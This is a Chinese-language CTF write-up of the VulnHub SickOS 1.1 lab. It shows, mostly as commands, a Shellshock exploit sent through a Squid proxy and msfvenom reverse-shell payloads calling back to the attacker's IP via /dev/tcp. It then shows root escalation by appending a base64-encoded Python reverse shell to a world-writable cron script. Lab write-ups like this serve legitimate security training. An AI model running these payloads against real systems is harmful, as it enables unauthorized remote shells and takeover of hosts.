目录
开头:
学习的视频是哔哩哔哩红队笔记:
「红队笔记」靶机精讲:SickOS1.1 - Shellshock原理和利用过程精讲_哔哩哔哩_bilibili
打靶时参考文章和本文借鉴文章:
红队打靶:SickOS1.1详细打靶思路之shellshock漏洞利用(vulnhub)-CSDN博客
靶机下载链接见:
https://download.vulnhub.com/sickos/sick0s1.1.7z
1.主机发现&端口扫描
参考上一篇:
红队笔记3-SickOS1.1打靶流程解法1(vulnhub)-CSDN博客
2.3128端口-squid代理访&nikto漏扫
dirb http://192.168.254.143/ -p http://192.168.254.143:3128/
我们以http://192.168.254.143:3128/这个为代理,访问http://192.168.254.143/网站,
发现了一些路径,我们可以尝试访问一下,重点访问状态码是200的(访问也要在浏览器中挂代理)
其中cgi-bin目录是一个很特殊的目录
CGI-BIN是一种特殊的目录,在进行交互式的WWW访问时,web和第三方交互的接口, CGI全称是“公共网关接口,存在有一定数量的漏洞,所有当看到这目录,可以使用nikto对目录进行扫描
nikto是一个用于网页服务器漏洞扫描的工具,是kali中自带的,因为要对其web进行扫描,所以也需要使用参数代理
nikto –h 192.168.254.143 –useproxy http://192.168.254.143:3128
扫描结果:
OSVDB-112004:/cgi-bin/status:站点似乎容易受到“shellshock”漏洞的攻击 (CVE -CVE-2014-6271)
Shellshock不知道是什么我们可以上网查一下:
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞
欧克,bash窗口的名字还要简介中的执行任意代码,都看出这是一个危害很大的漏洞,可以让我们拿到权限
利用Shellshock
Shellshock的利用点是访问/cgi-bin/status,修改请求头,在请求头中添加执行代码,使用curl去访问
curl -v --proxy http://192.168.254.143:3128 http://192.168. 254.143/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
- curl: Curl是一个命令行工具,用于发送HTTP请求和获取相应的数据。
- -v: 这个选项表示在执行请求时显示详细的输出,包括请求头和响应信息。
- --proxy http://192.168.200.141:3128: 这个选项指定了使用代理服务器进行请求。代理服务器的地址是192.168.200.141,端口是3128。这是为了通过代理服务器发起请求,可能是为了绕过某些防火墙或进行中间人攻击。
- http://192.168.200.141/cgi-bin/status: 这是要请求的URL地址。192.168.200.141是目标服务器的IP地址,/cgi-bin/status是目标服务器上的一个CGI脚本路径。
- -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit": 这个选项指定了一个自定义的请求头"Referer"。Shellshock漏洞可以通过构造恶意的Referer头来执行任意命令。在这个例子中,构造的Referer头包含了一段Shellshock的Payload,以执行/usr/bin/id命令并打印当前用户的身份信息。
其实就是用http://192.168.254.143:3128代理访问http://192.168. 254.143/cgi-bin/status 数据包的请求头中的Referer 改写成这样Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
就是执行id命令
看看是否能执行一个id命令,测试漏洞是否存在
执行成功,表示存在漏洞
既然能执行命令,那么构造一个有反弹shell功能的payload
使用msfvenom生成,Kali中的msfvenom取代了msfpayload和msfencode,常用于生成后门木马。生成bash反弹shell命令的如下:
sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.254.128 lport=443 -f raw
0<&168-;exec 168<>/dev/tcp/192.168.254.128/443;sh <&168 >&168 2>&168
构造payload:
curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() { test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;/bin/bash <&120 >&120 2>&120"
显示不存在sh文件夹,那我们就一个吧sh补充完整 /bin/bash
curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() { test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;/bin/bash <&120 >&120 2>&120"
Ok,显而易见反弹shell成功了,但是也显而易见的是,我们拿到了一个连完好的上下文交互都没有的shell,看看我们能不能得到一个交互性更好的shell
因为该主机是ubuntu 所以我们使用 dpkg -l 查看安装了哪些应用
这将显示系统中所有已安装软件包的列表,包括软件包的名称、版本和描述等信息。
很好我们看见了python
python -c 'import pty; pty.spawn("/bin/bash")'
尝试使用命令,获得更好的上下文交互shell
成功了,可以看到我们也是www-data用户
3.提权-定时任务执行py文件
可以看到我们能来到方法1的目录,我们依然能用方法1的方式提权,但是别忘了。我们还要一个条件没有利用,就是我们之前发现py文件
我们尝试找一下定时任务
cd /etc下这些文件都有可能是定时任务
一来就发现端倪了
每分钟执行以root权限 用python去执行/var/www/connect.py文件
Connect.py同时查看这个connect.py文件的权限,发现竟然是777权限
因为是python文件使用我们需要一个python的反弹shell脚本
sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.254.143 lpost=444 -f raw
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))
把反弹shell命令追加到connect.py文件
echo "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))" >>connect.py
等待1min,就获得root权限了,打靶完成
4.总结
1.端口扫描:发现存活端口:22 ,3128(squid-http) ,8080,其中squid-http是个代理服务器
2.开始访问3128,8080都访问不到,目录扫描也扫描不出结果,根据我们知道squid是个代理服务器,尝试Dirb -p参数,挂代理目录爆破,成功扫出来一些路径。其中cgi-bin目录可能存在漏洞,使用nikto漏扫工具,发现shellshock漏洞
3.漏洞利用:用msfvenom生成反弹shell的payload,成功获得初始立足点www-data的shell
4.根据py文件的提示,我们找到定时任务,成功发现/etc/cron.d/automate中发现会以root权限每分钟运行connect.py。因此构造在connect.py中追加我们的反弹shell命令,即可获取root的shell。
通过靶场我学习到了:
1.cgi-bin目录是web和第三方交互的接口 是的特别存在,存在漏洞
2.nikto漏扫工具和curl命令对请求头的修改
3.msfvenom工具的使用,生成反弹shell
此方法的打靶思路更加清晰,渗透过程也减少了一些偶然运气成分。